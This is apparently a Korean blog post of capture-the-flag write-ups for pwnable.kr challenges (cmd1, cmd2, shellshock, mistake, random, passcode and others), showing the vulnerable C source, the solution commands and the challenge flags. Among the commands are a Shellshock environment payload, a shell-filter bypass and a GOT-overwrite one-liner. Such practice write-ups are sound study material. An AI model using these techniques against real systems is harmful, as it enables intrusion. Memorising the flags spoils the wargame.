M4ndU의 만두만두한 블로그

cmd2 - 9 pt

Daddy bought me a system command shell.

but he put some filters to prevent me from playing with it without his permission...

but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

cmd2@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd2_pwn 8794 Dec 21  2015 cmd2

-rw-r--r-- 1 root root      586 Dec 21  2015 cmd2.c

-r--r----- 1 root cmd2_pwn   30 Jul 14  2015 flag

cmd2@ubuntu:~$ cat cmd2.c

#include <stdio.h>

#include <string.h>

int filter(char* cmd){

int r=0;

r += strstr(cmd, "=")!=0;

r += strstr(cmd, "PATH")!=0;

r += strstr(cmd, "export")!=0;

r += strstr(cmd, "/")!=0;

r += strstr(cmd, "`")!=0;

r += strstr(cmd, "flag")!=0;

return r;

}

extern char** environ;

void delete_env(){

char** p;

for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

}

int main(int argc, char* argv[], char** envp){

delete_env();

putenv("PATH=/no_command_execution_until_you_become_a_hacker");

if(filter(argv[1])) return 0;

printf("%s\n", argv[1]);

system( argv[1] );

return 0;

}

cmd2@ubuntu:~$ ./cmd2 "read a; \$a"

read a; $a

/bin/cat flag

FuN_w1th_5h3ll_v4riabl3s_haha

cmd1 - 1 pt

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

cmd1@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14  2015 cmd1

-rw-r--r-- 1 root root      319 Jul 14  2015 cmd1.c

-r--r----- 1 root cmd1_pwn   48 Jul 14  2015 flag

cmd1@ubuntu:~$ cat cmd1.c

#include <stdio.h>

#include <string.h>

int filter(char* cmd){

int r=0;

r += strstr(cmd, "flag")!=0;

r += strstr(cmd, "sh")!=0;

r += strstr(cmd, "tmp")!=0;

return r;

}

int main(int argc, char* argv[], char** envp){

putenv("PATH=/fuckyouverymuch");

if(filter(argv[1])) return 0;

system( argv[1] );

return 0;

}

lotto - 2 pt 

Mommy! I made a lotto program for my homework.

do you want to play?

ssh lotto@pwnable.kr -p2222 (pw:guest)

void play(){

int i;

printf("Submit your 6 lotto bytes : ");

fflush(stdout);

int r;

r = read(0, submit, 6);

printf("Lotto Start!\n");

//sleep(1);

// generate lotto numbers

int fd = open("/dev/urandom", O_RDONLY);

if(fd==-1){

printf("error. tell admin\n");

exit(-1);

}

unsigned char lotto[6];

if(read(fd, lotto, 6) != 6){

printf("error2. tell admin\n");

exit(-1);

}

for(i=0; i<6; i++){

lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45

}

close(fd);

// calculate lotto score

int match = 0, j = 0;

for(i=0; i<6; i++){

for(j=0; j<6; j++){

if(lotto[i] == submit[j]){

match++;

}

}

}

// win!

if(match == 6){

system("/bin/cat flag");

}

else{

printf("bad luck...\n");

}

}

blackjack - 1 pt

Hey! check out this C implementation of blackjack game!

I found it online

* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.

how much money you got?

Running at : nc pwnable.kr 9009

Cash: $500

-------

|S    |

|  J  |

|    S|

-------

Your Total is 10

The Dealer Has a Total of 7

Enter Bet: $1000000000000000

Would You Like to Hit or Stay?

Please Enter H to Hit or S to Stay.

s

You Have Chosen to Stay at 10. Wise Decision!

The Dealer Has a Total of 10

The Dealer Has a Total of 13

The Dealer Has a Total of 16

The Dealer Has a Total of 19

Dealer Has the Better Hand. You Lose.

You have 0 Wins and 2 Losses. Awesome!

Would You Like To Play Again?

Please Enter Y for Yes or N for No

Y

YaY_I_AM_A_MILLIONARE_LOL

Cash: $1530495476

-------

|C    |

|  8  |

|    C|

-------

Your Total is 8

The Dealer Has a Total of 5

Enter Bet: $

coin1 - 6 pt

Mommy, I wanna play a game!

(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

---------------------------------------------------

-              Shall we play a game?              -

---------------------------------------------------

You have given some gold coins in your hand

however, there is one counterfeit coin among them

counterfeit coin looks exactly same as real coin

however, its weight is different from real one

real coin weighs 10, counterfeit coin weighes 9

help me to find the counterfeit coin with a scale

if you find 100 counterfeit coins, you will get reward :)

FYI, you have 30 seconds.

- How to play - 

1. you get a number of coins (N) and number of chances (C)

2. then you specify a set of index numbers of coins to be weighed

3. you get the weight information

4. 2~3 repeats C time, then you give the answer

- Example -

[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial

[Client] 0 1 # weigh first and second coin

[Server] 20 # scale result : 20

[Client] 3 # weigh fourth coin

[Server] 10 # scale result : 10

[Client] 2 # counterfeit coin is third!

[Server] Correct!

- Ready? starting in 3 sec... -

특정 배열의 총합을 알아내서 무게가 10의 배수가 아니면 그 배열에 가짜 동전이 있다는 것이다.

전체 동전을 반으로 나누어서 무게을 구하고 다시 10의 배수가 아닌 배열을 반으로 나누어서 무게를 구한다.

이런 식으로 무게가 10의 배수가 아닌 배열의 범위를 좁혀 나간다.

그러면 찾을 수 있다.

shellshock - 1 pt

Mommy, there was a shocking news about bash.

I bet you already know, but lets just make it sure :)

ssh shellshock@pwnable.kr -p2222 (pw:guest)

shellshock@ubuntu:~$ cat shellshock.c

#include <stdio.h>

int main(){

setresuid(getegid(), getegid(), getegid());

setresgid(getegid(), getegid(), getegid());

system("/home/shellshock/bash -c 'echo shock_me'");

return 0;

}

shellshock@ubuntu:~$ env x='() { :;}; echo hi' ./bash

hi

env x='() { :;}; /bin/cat flag' ./shellshock

mistake - 1 pt

We all make mistakes, let's move on.

(don't take this too seriously, no fancy hacking skill is required at all)

This task is based on real event

Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)

mistake@ubuntu:~$ ls -l

total 24

-r-------- 1 mistake_pwn root      51 Jul 29  2014 flag

-r-sr-x--- 1 mistake_pwn mistake 8934 Aug  1  2014 mistake

-rw-r--r-- 1 root        root     792 Aug  1  2014 mistake.c

-r-------- 1 mistake_pwn root      10 Jul 29  2014 password

mistake@ubuntu:~$ cat mistake.c

#include <stdio.h>

#include <fcntl.h>

#define PW_LEN 10

#define XORKEY 1

void xor(char* s, int len){

int i;

for(i=0; i<len; i++){

s[i] ^= XORKEY;

}

}

int main(int argc, char* argv[]){

int fd;

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){

printf("can't open password %d\n", fd);

return 0;

}

printf("do not bruteforce...\n");

sleep(time(0)%20);

char pw_buf[PW_LEN+1];

int len;

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){

printf("read error\n");

close(fd);

return 0;

}

char pw_buf2[PW_LEN+1];

printf("input password : ");

scanf("%10s", pw_buf2);

// xor your input

xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){

printf("Password OK\n");

system("/bin/cat flag\n");

}

else{

printf("Wrong Password\n");

}

close(fd);

return 0;

}

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)

if(!(len=read(fd,pw_buf,PW_LEN) > 0))

scanf("%10s", pw_buf2);

mistake@ubuntu:~$ ./mistake 

do not bruteforce...

1111111111

input password : 0000000000

Password OK

Mommy, the operator priority always confuses me :(

leg - 2 pt

Daddy told me I should study arm.

But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c

Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

cpu가 명령어 하나를 수행할 때 fetch > decode > execute 의 과정을 거친다고 합니다.

2개의 opcode를 실행하려면 fetch > decode > execute > fetch > decode > execute 총 6번의 작업이 필요하죠.

하지만 pipe line라는 것을 이용해서

이렇게 병렬적으로 단계를 수행하면 2개의 opcode를 실행할때 6번의 작업이 필요했던것을 4번으로 줄일 수 있습니다.

직렬보다 효율적이죠.

pc는 fetch할 주소를 담고 있습니다.

현재 명령어가 execute단계라면, 다음 명령어는 decode단계, 그 다음 명령어는 fetch 단계이겠죠.

그래서 pc는 다다음번째 명령어의 주소를 담고 있게 됩니다.

key1 | 0x8ce4

key2 | 0x8d0c

key3 | 0x8d80

/ $ ./leg

Daddy has very strong arm! : 108400 

Congratz!

My daddy has a lot of ARMv5te muscle!

random - 1 pt

Daddy, teach me how to use random value in programming!

ssh random@pwnable.kr -p2222 (pw:guest)

random@ubuntu:~$ ls -l

total 20

-r--r----- 1 random_pwn root     49 Jun 30  2014 flag

-r-sr-x--- 1 random_pwn random 8538 Jun 30  2014 random

-rw-r--r-- 1 root       root    301 Jun 30  2014 random.c

random@ubuntu:~$ cat random.c

#include <stdio.h>

int main(){

unsigned int random;

random = rand(); // random value!

unsigned int key=0;

scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){

printf("Good!\n");

system("/bin/cat flag");

return 0;

}

printf("Wrong, maybe you should try 2^32 cases.\n");

return 0;

}

random@ubuntu:~$ gdb -q random

Reading symbols from random...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas main

   0x000000000040062c <+56>: xor    eax,DWORD PTR [rbp-0x4]

   0x000000000040062f <+59>: cmp    eax,0xdeadbeef

random@ubuntu:~$ ./random 

3039230856

Good!

Mommy, I thought libc random is unpredictable...

passcode - 10 pt 

Mommy told me to make a passcode based login system.

My initial C code was compiled without any error!

Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)

passcode@ubuntu:~$ ls -l

total 16

-r--r----- 1 root passcode_pwn   48 Jun 26  2014 flag

-r-xr-sr-x 1 root passcode_pwn 7485 Jun 26  2014 passcode

-rw-r--r-- 1 root root          858 Jun 26  2014 passcode.c

passcode@ubuntu:~$ cat passcode.c

#include <stdio.h>

#include <stdlib.h>

void login(){

int passcode1;

int passcode2;

printf("enter passcode1 : ");

scanf("%d", passcode1);

fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)

printf("enter passcode2 : ");

        scanf("%d", passcode2);

printf("checking...\n");

if(passcode1==338150 && passcode2==13371337){

                printf("Login OK!\n");

                system("/bin/cat flag");

        }

        else{

                printf("Login Failed!\n");

exit(0);

        }

}

void welcome(){

char name[100];

printf("enter you name : ");

scanf("%100s", name);

printf("Welcome %s!\n", name);

}

int main(){

printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();

login();

// something after login...

printf("Now I can safely trust you that you have credential :)\n");

return 0;

}

scanf("%d", passcode1);

scanf("%d", passcode2);

   0x0804862f <+38>: lea    edx,[ebp-0x70]

   0x08048632 <+41>: mov    DWORD PTR [esp+0x4],edx

   0x08048636 <+45>: mov    DWORD PTR [esp],eax

   0x08048639 <+48>: call   0x80484a0 <__isoc99_scanf@plt>

   0x0804857c <+24>: mov    edx,DWORD PTR [ebp-0x10]

   0x0804857f <+27>: mov    DWORD PTR [esp+0x4],edx

   0x08048583 <+31>: mov    DWORD PTR [esp],eax

   0x08048586 <+34>: call   0x80484a0 <__isoc99_scanf@plt>

   0x08048593 <+47>: call   0x8048430 <fflush@plt>

-----

(gdb) x/i 0x8048430

   0x8048430 <fflush@plt>: jmp    DWORD PTR ds:0x804a004

(gdb) x/i 0x804a004

   0x804a004 <fflush@got.plt>: test   BYTE PTR ss:[eax+ecx*1],al

   0x080485de <+122>: call   0x8048450 <puts@plt>

   0x080485e3 <+127>: mov    DWORD PTR [esp],0x80487af

   0x080485ea <+134>: call   0x8048460 <system@plt>

(python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode

passcode@ubuntu:~$ (python -c 'print "D"*96 + "\x04\xa0\x04\x08"'; cat) | ./passcode

Toddler's Secure Login System 1.0 beta.

enter you name : Welcome DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD�!

134514147

Sorry mom.. I got confused about scanf usage :(

enter passcode1 : Now I can safely trust you that you have credential :)